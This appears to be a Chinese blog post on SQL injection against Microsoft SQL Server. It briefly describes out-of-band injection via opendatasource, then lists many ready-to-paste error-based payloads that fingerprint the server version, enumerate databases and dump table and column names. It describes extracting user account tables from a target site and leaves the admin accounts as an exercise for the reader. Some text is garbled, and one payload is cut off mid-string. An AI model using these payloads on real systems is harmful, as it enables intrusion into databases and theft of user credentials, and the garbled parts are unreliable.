MSSQL注入 反彈注入

2022-07-21 23:03:27 字數 2002 閱讀 1622

明明是sql注入的點,卻無法進行注入,注射工具拆解的速度異常的緩慢,錯誤提示資訊關閉,無法返回注入的結果,這個時候你便可以嘗試使用**注入,

**注入需要依賴於函式opendatasource的支援,將當前資料庫中的查詢結果傳送到另一資料庫伺服器中。

and exists (select * from sysobjects)--返回正常為mssql(也名sql server)

and exists (select count(*) from sysobjects)--有時上面那個語句不行就試試這個哈

and 1=@@version--這個語句要在有回顯的模式下才可以哦

and substring((select @@version),22,4)='2008'--適用於無回顯模式,後面的2008就是資料庫版本,返回正常就是2008的複製**第一條語句執行效果圖(類似):第二條語句執行效果圖:(如果是2008的話就返回正常)

1. and 1=(select quotename(count(name)) from master..sysdatabases)--

2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --

3. and 1=(select str(coun、 and 1=(select quotename(count(name)) from master..sysdatabases where dbid>5)--

and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) --

and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>5) --

說明:dbid從1-4的資料庫一般為系統資料庫.

and 1=(select quotename(name) from master..sysdatabases for xml path(''))--

and 1=(select '|'%2bname%2b'|' from master..sysdatabases for xml path(''))--

and db_name()>0

and 1=(select db_name())--

【下列語句可一次爆資料庫所有表(只限於mssql2005及以上版本)】

and 1=(select quotename(name) from 資料庫名..sysobjects where xtype='u' for xml path(''))--

and 1=(select '|'%2bname%2b'|' from 資料庫名..sysobjects where xtype='u' for xml path(''))--複製**測試效果圖:得到 3個敏感的表:whir_sec_users/whir_mem_member/whir_mem_membergroup

一次爆指定表的所有列(只限於mssql2005及以上版本):

and 1=(select quotename(name) from 資料庫名..syscolumns where id =(select id from 資料庫名..sysobjects where name='指定表名') for xml path(''))--

and 1=(select '|'%2bname%2b'|' from 資料庫名..syscolumns where id =(select id from 資料庫名..sysobjects where name='指定表名') for xml path(''))--

注意:在使用一次獲取資料庫資訊的語句時,請使用火狐瀏覽器,筆者測試 ie8、360急速瀏覽器、獵豹瀏覽器均卡死,火狐瀏覽器也會導致出現幾秒鐘的卡死,彈出框框,我們點選「停止指令碼」就會得到初步解決。!!!!!!!!!!!!!!!!!!!!至此,我們已經得到了賬戶資訊了,至於管理員的呢,哈哈,大家自行測試時換表啥的就好了。

MSSQL注入 顯錯注入及反彈注入

前言 mssql注入攻擊是最為複雜的資料庫攻擊技術,由於該資料庫功能十分強大,儲存過程以及函式語句十分豐富,這些靈活的語句造就了新穎獨特的攻擊思路。mssql的顯錯注入操作 以聯合查詢為例 猜欄位聯合查詢 union all 猜出輸出點使用null填充 注釋只有 a 沒有 查詢系統庫 select ...

ms sql 注入安全

sql查詢分析器 use master exec sp dropextendedproc xp cmdshell exec sp dropextendedproc xp dirtree exec sp dropextendedproc xp enumgroups exec sp dropextend...

mssql手工注入

mssql注入是針對於sql server資料庫的 平台 i春秋 內容 mssql手工注入 測試 www.test.com 找注入點 點選test 用資料型別轉換爆錯法 檢視版本 原因 version是mssql 的全域性變數,如果我們把它寫成這樣 and version,那個後面的mssql就會強...